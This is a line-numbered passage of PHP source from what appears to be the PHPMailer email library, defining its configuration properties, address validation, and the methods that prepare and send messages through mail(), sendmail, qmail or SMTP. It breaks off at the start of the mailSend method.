7918 * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
7919 */
7920 public $ReturnPath = '';
7921
7922 /**
7923 * The Subject of the message.
7924 * @type string
7925 */
7926 public $Subject = '';
7927
7928 /**
7929 * An HTML or plain text message body.
7930 * If HTML then call isHTML(true).
7931 * @type string
7932 */
7933 public $Body = '';
7934
7935 /**
7936 * The plain-text message body.
7937 * This body can be read by mail clients that do not have HTML email
7938 * capability such as mutt & Eudora.
7939 * Clients that can read HTML will view the normal Body.
7940 * @type string
7941 */
7942 public $AltBody = '';
7943
7944 /**
7945 * An iCal message part body.
7946 * Only supported in simple alt or alt_inline message types
7947 * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
7948 * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
7949 * @link http://kigkonsult.se/iCalcreator/
7950 * @type string
7951 */
7952 public $Ical = '';
7953
7954 /**
7955 * The complete compiled MIME message body.
7956 * @access protected
7957 * @type string
7958 */
7959 protected $MIMEBody = '';
7960
7961 /**
7962 * The complete compiled MIME message headers.
7963 * @type string
7964 * @access protected
7965 */
7966 protected $MIMEHeader = '';
7967
7968 /**
7969 * Extra headers that createHeader() doesn't fold in.
7970 * @type string
7971 * @access protected
7972 */
7973 protected $mailHeader = '';
7974
7975 /**
7976 * Word-wrap the message body to this number of chars.
7977 * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
7978 * @type integer
7979 */
7980 public $WordWrap = 0;
7981
7982 /**
7983 * Which method to use to send mail.
7984 * Options: "mail", "sendmail", or "smtp".
7985 * @type string
7986 */
7987 public $Mailer = 'mail';
7988
7989 /**
7990 * The path to the sendmail program.
7991 * @type string
7992 */
7993 public $Sendmail = '/usr/sbin/sendmail';
7994
7995 /**
7996 * Whether mail() uses a fully sendmail-compatible MTA.
7997 * One which supports sendmail's "-oi -f" options.
7998 * @type boolean
7999 */
8000 public $UseSendmailOptions = true;
8001
8002 /**
8003 * Path to PHPMailer plugins.
8004 * Useful if the SMTP class is not in the PHP include path.
8005 * @type string
8006 * @deprecated Should not be needed now there is an autoloader.
8007 */
8008 public $PluginDir = '';
8009
8010 /**
8011 * The email address that a reading confirmation should be sent to.
8012 * @type string
8013 */
8014 public $ConfirmReadingTo = '';
8015
8016 /**
8017 * The hostname to use in Message-Id and Received headers
8018 * and as default HELO string.
8019 * If empty, the value returned
8020 * by SERVER_NAME is used or 'localhost.localdomain'.
8021 * @type string
8022 */
8023 public $Hostname = '';
8024
8025 /**
8026 * An ID to be used in the Message-Id header.
8027 * If empty, a unique id will be generated.
8028 * @type string
8029 */
8030 public $MessageID = '';
8031
8032 /**
8033 * The message Date to be used in the Date header.
8034 * If empty, the current date will be added.
8035 * @type string
8036 */
8037 public $MessageDate = '';
8038
8039 /**
8040 * SMTP hosts.
8041 * Either a single hostname or multiple semicolon-delimited hostnames.
8042 * You can also specify a different port
8043 * for each host by using this format: [hostname:port]
8044 * (e.g. "smtp1.example.com:25;smtp2.example.com").
8045 * You can also specify encryption type, for example:
8046 * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
8047 * Hosts will be tried in order.
8048 * @type string
8049 */
8050 public $Host = 'localhost';
8051
8052 /**
8053 * The default SMTP server port.
8054 * @type integer
8055 * @TODO Why is this needed when the SMTP class takes care of it?
8056 */
8057 public $Port = 25;
8058
8059 /**
8060 * The SMTP HELO of the message.
8061 * Default is $Hostname.
8062 * @type string
8063 * @see PHPMailer::$Hostname
8064 */
8065 public $Helo = '';
8066
8067 /**
8068 * The secure connection prefix.
8069 * Options: "", "ssl" or "tls"
8070 * @type string
8071 */
8072 public $SMTPSecure = '';
8073
8074 /**
8075 * Whether to use SMTP authentication.
8076 * Uses the Username and Password properties.
8077 * @type boolean
8078 * @see PHPMailer::$Username
8079 * @see PHPMailer::$Password
8080 */
8081 public $SMTPAuth = false;
8082
8083 /**
8084 * SMTP username.
8085 * @type string
8086 */
8087 public $Username = '';
8088
8089 /**
8090 * SMTP password.
8091 * @type string
8092 */
8093 public $Password = '';
8094
8095 /**
8096 * SMTP auth type.
8097 * Options are LOGIN (default), PLAIN, NTLM, CRAM-MD5
8098 * @type string
8099 */
8100 public $AuthType = '';
8101
8102 /**
8103 * SMTP realm.
8104 * Used for NTLM auth
8105 * @type string
8106 */
8107 public $Realm = '';
8108
8109 /**
8110 * SMTP workstation.
8111 * Used for NTLM auth
8112 * @type string
8113 */
8114 public $Workstation = '';
8115
8116 /**
8117 * The SMTP server timeout in seconds.
8118 * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
8119 * @type integer
8120 */
8121 public $Timeout = 300;
8122
8123 /**
8124 * SMTP class debug output mode.
8125 * Debug output level.
8126 * Options:
8127 * * `0` No output
8128 * * `1` Commands
8129 * * `2` Data and commands
8130 * * `3` As 2 plus connection status
8131 * * `4` Low-level data output
8132 * @type integer
8133 * @see SMTP::$do_debug
8134 */
8135 public $SMTPDebug = 0;
8136
8137 /**
8138 * How to handle debug output.
8139 * Options:
8140 * * `echo` Output plain-text as-is, appropriate for CLI
8141 * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
8142 * * `error_log` Output to error log as configured in php.ini
8143 *
8144 * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
8145 * <code>
8146 * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
8147 * </code>
8148 * @type string|callable
8149 * @see SMTP::$Debugoutput
8150 */
8151 public $Debugoutput = 'echo';
8152
8153 /**
8154 * Whether to keep SMTP connection open after each message.
8155 * If this is set to true then to close the connection
8156 * requires an explicit call to smtpClose().
8157 * @type boolean
8158 */
8159 public $SMTPKeepAlive = false;
8160
8161 /**
8162 * Whether to split multiple to addresses into multiple messages
8163 * or send them all in one message.
8164 * @type boolean
8165 */
8166 public $SingleTo = false;
8167
8168 /**
8169 * Storage for addresses when SingleTo is enabled.
8170 * @type array
8171 * @TODO This should really not be public
8172 */
8173 public $SingleToArray = array();
8174
8175 /**
8176 * Whether to generate VERP addresses on send.
8177 * Only applicable when sending via SMTP.
8178 * @link http://en.wikipedia.org/wiki/Variable_envelope_return_path
8179 * @link http://www.postfix.org/VERP_README.html Postfix VERP info
8180 * @type boolean
8181 */
8182 public $do_verp = false;
8183
8184 /**
8185 * Whether to allow sending messages with an empty body.
8186 * @type boolean
8187 */
8188 public $AllowEmpty = false;
8189
8190 /**
8191 * The default line ending.
8192 * @note The default remains "\n". We force CRLF where we know
8193 * it must be used via self::CRLF.
8194 * @type string
8195 */
8196 public $LE = "\n";
8197
8198 /**
8199 * DKIM selector.
8200 * @type string
8201 */
8202 public $DKIM_selector = '';
8203
8204 /**
8205 * DKIM Identity.
8206 * Usually the email address used as the source of the email
8207 * @type string
8208 */
8209 public $DKIM_identity = '';
8210
8211 /**
8212 * DKIM passphrase.
8213 * Used if your key is encrypted.
8214 * @type string
8215 */
8216 public $DKIM_passphrase = '';
8217
8218 /**
8219 * DKIM signing domain name.
8220 * @example 'example.com'
8221 * @type string
8222 */
8223 public $DKIM_domain = '';
8224
8225 /**
8226 * DKIM private key file path.
8227 * @type string
8228 */
8229 public $DKIM_private = '';
8230
8231 /**
8232 * Callback Action function name.
8233 *
8234 * The function that handles the result of the send email action.
8235 * It is called out by send() for each email sent.
8236 *
8237 * Value can be any php callable: http://www.php.net/is_callable
8238 *
8239 * Parameters:
8240 * boolean $result result of the send action
8241 * string $to email address of the recipient
8242 * string $cc cc email addresses
8243 * string $bcc bcc email addresses
8244 * string $subject the subject
8245 * string $body the email body
8246 * string $from email address of sender
8247 * @type string
8248 */
8249 public $action_function = '';
8250
8251 /**
8252 * What to use in the X-Mailer header.
8253 * Options: null for default, whitespace for none, or a string to use
8254 * @type string
8255 */
8256 public $XMailer = '';
8257
8258 /**
8259 * An instance of the SMTP sender class.
8260 * @type SMTP
8261 * @access protected
8262 */
8263 protected $smtp = null;
8264
8265 /**
8266 * The array of 'to' addresses.
8267 * @type array
8268 * @access protected
8269 */
8270 protected $to = array();
8271
8272 /**
8273 * The array of 'cc' addresses.
8274 * @type array
8275 * @access protected
8276 */
8277 protected $cc = array();
8278
8279 /**
8280 * The array of 'bcc' addresses.
8281 * @type array
8282 * @access protected
8283 */
8284 protected $bcc = array();
8285
8286 /**
8287 * The array of reply-to names and addresses.
8288 * @type array
8289 * @access protected
8290 */
8291 protected $ReplyTo = array();
8292
8293 /**
8294 * An array of all kinds of addresses.
8295 * Includes all of $to, $cc, $bcc, $replyto
8296 * @type array
8297 * @access protected
8298 */
8299 protected $all_recipients = array();
8300
8301 /**
8302 * The array of attachments.
8303 * @type array
8304 * @access protected
8305 */
8306 protected $attachment = array();
8307
8308 /**
8309 * The array of custom headers.
8310 * @type array
8311 * @access protected
8312 */
8313 protected $CustomHeader = array();
8314
8315 /**
8316 * The most recent Message-ID (including angular brackets).
8317 * @type string
8318 * @access protected
8319 */
8320 protected $lastMessageID = '';
8321
8322 /**
8323 * The message's MIME type.
8324 * @type string
8325 * @access protected
8326 */
8327 protected $message_type = '';
8328
8329 /**
8330 * The array of MIME boundary strings.
8331 * @type array
8332 * @access protected
8333 */
8334 protected $boundary = array();
8335
8336 /**
8337 * The array of available languages.
8338 * @type array
8339 * @access protected
8340 */
8341 protected $language = array();
8342
8343 /**
8344 * The number of errors encountered.
8345 * @type integer
8346 * @access protected
8347 */
8348 protected $error_count = 0;
8349
8350 /**
8351 * The S/MIME certificate file path.
8352 * @type string
8353 * @access protected
8354 */
8355 protected $sign_cert_file = '';
8356
8357 /**
8358 * The S/MIME key file path.
8359 * @type string
8360 * @access protected
8361 */
8362 protected $sign_key_file = '';
8363
8364 /**
8365 * The S/MIME password for the key.
8366 * Used only if the key is encrypted.
8367 * @type string
8368 * @access protected
8369 */
8370 protected $sign_key_pass = '';
8371
8372 /**
8373 * Whether to throw exceptions for errors.
8374 * @type boolean
8375 * @access protected
8376 */
8377 protected $exceptions = false;
8378
8379 /**
8380 * Error severity: message only, continue processing.
8381 */
8382 const STOP_MESSAGE = 0;
8383
8384 /**
8385 * Error severity: message, likely ok to continue processing.
8386 */
8387 const STOP_CONTINUE = 1;
8388
8389 /**
8390 * Error severity: message, plus full stop, critical error reached.
8391 */
8392 const STOP_CRITICAL = 2;
8393
8394 /**
8395 * SMTP RFC standard line ending.
8396 */
8397 const CRLF = "\r\n";
8398
8399 /**
8400 * Constructor.
8401 * @param boolean $exceptions Should we throw external exceptions?
8402 */
8403 public function __construct($exceptions = false)
8404 {
8405 $this->exceptions = (boolean)$exceptions;
8406 }
8407
8408 /**
8409 * Destructor.
8410 */
8411 public function __destruct()
8412 {
8413 if ($this->Mailer == 'smtp') { //close any open SMTP connection nicely
8414 $this->smtpClose();
8415 }
8416 }
8417
8418 /**
8419 * Call mail() in a safe_mode-aware fashion.
8420 * Also, unless sendmail_path points to sendmail (or something that
8421 * claims to be sendmail), don't pass params (not a perfect fix,
8422 * but it will do)
8423 * @param string $to To
8424 * @param string $subject Subject
8425 * @param string $body Message Body
8426 * @param string $header Additional Header(s)
8427 * @param string $params Params
8428 * @access private
8429 * @return boolean
8430 */
8431 private function mailPassthru($to, $subject, $body, $header, $params)
8432 {
8433 //Check overloading of mail function to avoid double-encoding
8434 if (ini_get('mbstring.func_overload') & 1) {
8435 $subject = $this->secureHeader($subject);
8436 } else {
8437 $subject = $this->encodeHeader($this->secureHeader($subject));
8438 }
8439 if (ini_get('safe_mode') || !($this->UseSendmailOptions)) {
8440 $result = @mail($to, $subject, $body, $header);
8441 } else {
8442 $result = @mail($to, $subject, $body, $header, $params);
8443 }
8444 return $result;
8445 }
8446
8447 /**
8448 * Output debugging info via user-defined method.
8449 * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
8450 * @see PHPMailer::$Debugoutput
8451 * @see PHPMailer::$SMTPDebug
8452 * @param string $str
8453 */
8454 protected function edebug($str)
8455 {
8456 if ($this->SMTPDebug <= 0) {
8457 return;
8458 }
8459 //Avoid clash with built-in function names
8460 if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
8461 call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
8462 return;
8463 }
8464 switch ($this->Debugoutput) {
8465 case 'error_log':
8466 //Don't output, just log
8467 error_log($str);
8468 break;
8469 case 'html':
8470 //Cleans up output a bit for a better looking, HTML-safe output
8471 echo htmlentities(
8472 preg_replace('/[\r\n]+/', '', $str),
8473 ENT_QUOTES,
8474 'UTF-8'
8475 )
8476 . "<br>\n";
8477 break;
8478 case 'echo':
8479 default:
8480 //Normalize line breaks
8481 $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
8482 echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
8483 "\n",
8484 "\n \t ",
8485 trim($str)
8486 ) . "\n";
8487 }
8488 }
8489
8490 /**
8491 * Sets message type to HTML or plain.
8492 * @param boolean $isHtml True for HTML mode.
8493 * @return void
8494 */
8495 public function isHTML($isHtml = true)
8496 {
8497 if ($isHtml) {
8498 $this->ContentType = 'text/html';
8499 } else {
8500 $this->ContentType = 'text/plain';
8501 }
8502 }
8503
8504 /**
8505 * Send messages using SMTP.
8506 * @return void
8507 */
8508 public function isSMTP()
8509 {
8510 $this->Mailer = 'smtp';
8511 }
8512
8513 /**
8514 * Send messages using PHP's mail() function.
8515 * @return void
8516 */
8517 public function isMail()
8518 {
8519 $this->Mailer = 'mail';
8520 }
8521
8522 /**
8523 * Send messages using $Sendmail.
8524 * @return void
8525 */
8526 public function isSendmail()
8527 {
8528 $ini_sendmail_path = ini_get('sendmail_path');
8529
8530 if (!stristr($ini_sendmail_path, 'sendmail')) {
8531 $this->Sendmail = '/usr/sbin/sendmail';
8532 } else {
8533 $this->Sendmail = $ini_sendmail_path;
8534 }
8535 $this->Mailer = 'sendmail';
8536 }
8537
8538 /**
8539 * Send messages using qmail.
8540 * @return void
8541 */
8542 public function isQmail()
8543 {
8544 $ini_sendmail_path = ini_get('sendmail_path');
8545
8546 if (!stristr($ini_sendmail_path, 'qmail')) {
8547 $this->Sendmail = '/var/qmail/bin/qmail-inject';
8548 } else {
8549 $this->Sendmail = $ini_sendmail_path;
8550 }
8551 $this->Mailer = 'qmail';
8552 }
8553
8554 /**
8555 * Add a "To" address.
8556 * @param string $address
8557 * @param string $name
8558 * @return boolean true on success, false if address already used
8559 */
8560 public function addAddress($address, $name = '')
8561 {
8562 return $this->addAnAddress('to', $address, $name);
8563 }
8564
8565 /**
8566 * Add a "CC" address.
8567 * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
8568 * @param string $address
8569 * @param string $name
8570 * @return boolean true on success, false if address already used
8571 */
8572 public function addCC($address, $name = '')
8573 {
8574 return $this->addAnAddress('cc', $address, $name);
8575 }
8576
8577 /**
8578 * Add a "BCC" address.
8579 * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
8580 * @param string $address
8581 * @param string $name
8582 * @return boolean true on success, false if address already used
8583 */
8584 public function addBCC($address, $name = '')
8585 {
8586 return $this->addAnAddress('bcc', $address, $name);
8587 }
8588
8589 /**
8590 * Add a "Reply-to" address.
8591 * @param string $address
8592 * @param string $name
8593 * @return boolean
8594 */
8595 public function addReplyTo($address, $name = '')
8596 {
8597 return $this->addAnAddress('Reply-To', $address, $name);
8598 }
8599
8600 /**
8601 * Add an address to one of the recipient arrays.
8602 * Addresses that have been added already return false, but do not throw exceptions
8603 * @param string $kind One of 'to', 'cc', 'bcc', 'ReplyTo'
8604 * @param string $address The email address to send to
8605 * @param string $name
8606 * @throws phpmailerException
8607 * @return boolean true on success, false if address already used or invalid in some way
8608 * @access protected
8609 */
8610 protected function addAnAddress($kind, $address, $name = '')
8611 {
8612 if (!preg_match('/^(to|cc|bcc|Reply-To)$/', $kind)) {
8613 $this->setError($this->lang('Invalid recipient array') . ': ' . $kind);
8614 $this->edebug($this->lang('Invalid recipient array') . ': ' . $kind);
8615 if ($this->exceptions) {
8616 throw new phpmailerException('Invalid recipient array: ' . $kind);
8617 }
8618 return false;
8619 }
8620 $address = trim($address);
8621 $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
8622 if (!$this->validateAddress($address)) {
8623 $this->setError($this->lang('invalid_address') . ': ' . $address);
8624 $this->edebug($this->lang('invalid_address') . ': ' . $address);
8625 if ($this->exceptions) {
8626 throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
8627 }
8628 return false;
8629 }
8630 if ($kind != 'Reply-To') {
8631 if (!isset($this->all_recipients[strtolower($address)])) {
8632 array_push($this->$kind, array($address, $name));
8633 $this->all_recipients[strtolower($address)] = true;
8634 return true;
8635 }
8636 } else {
8637 if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
8638 $this->ReplyTo[strtolower($address)] = array($address, $name);
8639 return true;
8640 }
8641 }
8642 return false;
8643 }
8644
8645 /**
8646 * Set the From and FromName properties.
8647 * @param string $address
8648 * @param string $name
8649 * @param boolean $auto Whether to also set the Sender address, defaults to true
8650 * @throws phpmailerException
8651 * @return boolean
8652 */
8653 public function setFrom($address, $name = '', $auto = true)
8654 {
8655 $address = trim($address);
8656 $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
8657 if (!$this->validateAddress($address)) {
8658 $this->setError($this->lang('invalid_address') . ': ' . $address);
8659 $this->edebug($this->lang('invalid_address') . ': ' . $address);
8660 if ($this->exceptions) {
8661 throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
8662 }
8663 return false;
8664 }
8665 $this->From = $address;
8666 $this->FromName = $name;
8667 if ($auto) {
8668 if (empty($this->Sender)) {
8669 $this->Sender = $address;
8670 }
8671 }
8672 return true;
8673 }
8674
8675 /**
8676 * Return the Message-ID header of the last email.
8677 * Technically this is the value from the last time the headers were created,
8678 * but it's also the message ID of the last sent message except in
8679 * pathological cases.
8680 * @return string
8681 */
8682 public function getLastMessageID()
8683 {
8684 return $this->lastMessageID;
8685 }
8686
8687 /**
8688 * Check that a string looks like an email address.
8689 * @param string $address The email address to check
8690 * @param string $patternselect A selector for the validation pattern to use :
8691 * * `auto` Pick strictest one automatically;
8692 * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
8693 * * `pcre` Use old PCRE implementation;
8694 * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL; same as pcre8 but does not allow 'dotless' domains;
8695 * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
8696 * * `noregex` Don't use a regex: super fast, really dumb.
8697 * @return boolean
8698 * @static
8699 * @access public
8700 */
8701 public static function validateAddress($address, $patternselect = 'auto')
8702 {
8703 if (!$patternselect or $patternselect == 'auto') {
8704 //Check this constant first so it works when extension_loaded() is disabled by safe mode
8705 //Constant was added in PHP 5.2.4
8706 if (defined('PCRE_VERSION')) {
8707 //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
8708 if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
8709 $patternselect = 'pcre8';
8710 } else {
8711 $patternselect = 'pcre';
8712 }
8713 } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
8714 //Fall back to older PCRE
8715 $patternselect = 'pcre';
8716 } else {
8717 //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
8718 if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
8719 $patternselect = 'php';
8720 } else {
8721 $patternselect = 'noregex';
8722 }
8723 }
8724 }
8725 switch ($patternselect) {
8726 case 'pcre8':
8727 /**
8728 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
8729 * @link http://squiloople.com/2009/12/20/email-address-validation/
8730 * @copyright 2009-2010 Michael Rushton
8731 * Feel free to use and redistribute this code. But please keep this copyright notice.
8732 */
8733 return (boolean)preg_match(
8734 '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
8735 '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
8736 '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
8737 '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
8738 '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
8739 '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
8740 '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
8741 '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
8742 '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
8743 $address
8744 );
8745 case 'pcre':
8746 //An older regex that doesn't need a recent PCRE
8747 return (boolean)preg_match(
8748 '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
8749 '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
8750 '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
8751 '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
8752 '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
8753 '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
8754 '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
8755 '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
8756 '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
8757 '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
8758 $address
8759 );
8760 case 'html5':
8761 /**
8762 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
8763 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
8764 */
8765 return (boolean)preg_match(
8766 '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
8767 '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
8768 $address
8769 );
8770 case 'noregex':
8771 //No PCRE! Do something _very_ approximate!
8772 //Check the address is 3 chars or longer and contains an @ that's not the first or last char
8773 return (strlen($address) >= 3
8774 and strpos($address, '@') >= 1
8775 and strpos($address, '@') != strlen($address) - 1);
8776 case 'php':
8777 default:
8778 return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
8779 }
8780 }
8781
8782 /**
8783 * Create a message and send it.
8784 * Uses the sending method specified by $Mailer.
8785 * @throws phpmailerException
8786 * @return boolean false on error - See the ErrorInfo property for details of the error.
8787 */
8788 public function send()
8789 {
8790 try {
8791 if (!$this->preSend()) {
8792 return false;
8793 }
8794 return $this->postSend();
8795 } catch (phpmailerException $exc) {
8796 $this->mailHeader = '';
8797 $this->setError($exc->getMessage());
8798 if ($this->exceptions) {
8799 throw $exc;
8800 }
8801 return false;
8802 }
8803 }
8804
8805 /**
8806 * Prepare a message for sending.
8807 * @throws phpmailerException
8808 * @return boolean
8809 */
8810 public function preSend()
8811 {
8812 try {
8813 $this->mailHeader = '';
8814 if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
8815 throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
8816 }
8817
8818 // Set whether the message is multipart/alternative
8819 if (!empty($this->AltBody)) {
8820 $this->ContentType = 'multipart/alternative';
8821 }
8822
8823 $this->error_count = 0; // reset errors
8824 $this->setMessageType();
8825 // Refuse to send an empty message unless we are specifically allowing it
8826 if (!$this->AllowEmpty and empty($this->Body)) {
8827 throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
8828 }
8829
8830 $this->MIMEHeader = $this->createHeader();
8831 $this->MIMEBody = $this->createBody();
8832
8833 // To capture the complete message when using mail(), create
8834 // an extra header list which createHeader() doesn't fold in
8835 if ($this->Mailer == 'mail') {
8836 if (count($this->to) > 0) {
8837 $this->mailHeader .= $this->addrAppend('To', $this->to);
8838 } else {
8839 $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
8840 }
8841 $this->mailHeader .= $this->headerLine(
8842 'Subject',
8843 $this->encodeHeader($this->secureHeader(trim($this->Subject)))
8844 );
8845 }
8846
8847 // Sign with DKIM if enabled
8848 if (!empty($this->DKIM_domain)
8849 && !empty($this->DKIM_private)
8850 && !empty($this->DKIM_selector)
8851 && file_exists($this->DKIM_private)) {
8852 $header_dkim = $this->DKIM_Add(
8853 $this->MIMEHeader . $this->mailHeader,
8854 $this->encodeHeader($this->secureHeader($this->Subject)),
8855 $this->MIMEBody
8856 );
8857 $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
8858 str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
8859 }
8860 return true;
8861
8862 } catch (phpmailerException $exc) {
8863 $this->setError($exc->getMessage());
8864 if ($this->exceptions) {
8865 throw $exc;
8866 }
8867 return false;
8868 }
8869 }
8870
8871 /**
8872 * Actually send a message.
8873 * Send the email via the selected mechanism
8874 * @throws phpmailerException
8875 * @return boolean
8876 */
8877 public function postSend()
8878 {
8879 try {
8880 // Choose the mailer and send through it
8881 switch ($this->Mailer) {
8882 case 'sendmail':
8883 case 'qmail':
8884 return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
8885 case 'smtp':
8886 return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
8887 case 'mail':
8888 return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
8889 default:
8890 $sendMethod = $this->Mailer.'Send';
8891 if (method_exists($this, $sendMethod)) {
8892 return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
8893 }
8894
8895 return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
8896 }
8897 } catch (phpmailerException $exc) {
8898 $this->setError($exc->getMessage());
8899 $this->edebug($exc->getMessage());
8900 if ($this->exceptions) {
8901 throw $exc;
8902 }
8903 }
8904 return false;
8905 }
8906
8907 /**
8908 * Send mail using the $Sendmail program.
8909 * @param string $header The message headers
8910 * @param string $body The message body
8911 * @see PHPMailer::$Sendmail
8912 * @throws phpmailerException
8913 * @access protected
8914 * @return boolean
8915 */
8916 protected function sendmailSend($header, $body)
8917 {
8918 if ($this->Sender != '') {
8919 if ($this->Mailer == 'qmail') {
8920 $sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
8921 } else {
8922 $sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
8923 }
8924 } else {
8925 if ($this->Mailer == 'qmail') {
8926 $sendmail = sprintf('%s', escapeshellcmd($this->Sendmail));
8927 } else {
8928 $sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail));
8929 }
8930 }
8931 if ($this->SingleTo) {
8932 foreach ($this->SingleToArray as $toAddr) {
8933 if (!@$mail = popen($sendmail, 'w')) {
8934 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
8935 }
8936 fputs($mail, 'To: ' . $toAddr . "\n");
8937 fputs($mail, $header);
8938 fputs($mail, $body);
8939 $result = pclose($mail);
8940 $this->doCallback(
8941 ($result == 0),
8942 array($toAddr),
8943 $this->cc,
8944 $this->bcc,
8945 $this->Subject,
8946 $body,
8947 $this->From
8948 );
8949 if ($result != 0) {
8950 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
8951 }
8952 }
8953 } else {
8954 if (!@$mail = popen($sendmail, 'w')) {
8955 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
8956 }
8957 fputs($mail, $header);
8958 fputs($mail, $body);
8959 $result = pclose($mail);
8960 $this->doCallback(($result == 0), $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
8961 if ($result != 0) {
8962 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
8963 }
8964 }
8965 return true;
8966 }
8967
8968 /**
8969 * Send mail using the PHP mail() function.
8970 * @param string $header The message headers
8971 * @param string $body The message body
8972 * @link http://www.php.net/manual/en/book.mail.php
8973 * @throws phpmailerException
